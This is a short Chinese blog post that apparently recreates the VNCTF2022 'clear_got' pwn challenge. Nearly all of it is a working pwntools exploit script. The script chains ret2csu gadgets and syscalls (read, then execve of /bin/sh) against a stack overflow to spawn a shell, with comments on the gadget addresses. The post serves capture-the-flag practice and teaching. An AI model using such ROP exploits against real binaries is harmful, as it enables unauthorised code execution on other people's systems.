VNCTF2022 pwn复现

最近博客调整好了,会优先在博客更新,简书这边不能用别的图床,以前的老文章没法更新了,新文章还是会同步
CyMの学习日志 - 狮子之心 (e4l4.com)

这个比赛之前因为一些事没复现完,有时间再复现

clear_got(ret2csu/ret2syscall read+execve一波流)

溢出空间足够大,且自带syscall不考虑泄露地址
csu这一段不同程序略有不同
这是这道题的↓

from pwn import *
# context.log_level = 'debug'
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('clear_got')
elf = ELF('clear_got')
# libc = ELF('./libc64.so')

payload = 'a'*0x68
payload += p64(0x4007EA)# gadget2
payload += p64(0xc01c8)
# 后边会call bx*8 0xc01c8*8=0x600e40 
# 里边存放的是init函数的地址0x400520(进行了一个rax是否为0的检测然后ret)dym段
# 同理也可以跳转到fini,0xc01ca*8=0x600e50 里面是0x400804(fini的地址)
payload += p64(0xc01c9)
payload += p64(0)
payload += p64(59)# sys_read执行完后会将读入的字节数存在rax中,59是execve
payload += p64(0x601060)# stdout 这里作一个输入区
payload += p64(0)
payload += p64(0x4007D0)# gadget1

payload += 'a'*8# 前面有个压低栈的行为,这里抬高,防止压低影响寄存器取值
payload += p64(0xc020d)
# 这里*8 = 0x601068 即stdout+8 
payload += p64(0xc020e)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060)
payload += p64(0x40077e)# syscall->0->read
payload += p64(0x4007d0)# 再跑一次gadget1赋值
payload += 'e'*0x10# 填满补齐0x100
success("len:"+hex(len(payload)))
# gdb.attach(p)
p.send(payload)
payload = "/bin/sh\x00" + p64(0x40077e) + "\x00"*43 # sys_call->59->execve
p.sendline(payload)# sys_read
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 摘 要 本文跟随hello程序从源文件经由预处理,编译,汇编,链接成为可执行文件,再到在shell中加载hello...
    池印宇阅读 415评论 0 0
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 7,889评论 0 27
  • 歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...
    Adam_0阅读 7,164评论 2 7
  • BROP对存在栈溢出的ELF进行指令盲注,Papper描述攻击可谓充满了艺术。要满足BROP,需要几个条件:1.进...
    clive0x阅读 998评论 0 1
  • 0x00 前言 Pwn弱鸡,比赛划水,只好跟着大佬的博客刷刷一些题目才能维持尊严,在刷题目的时候又发现了一些新姿势...
    Fish_o0O阅读 1,567评论 0 6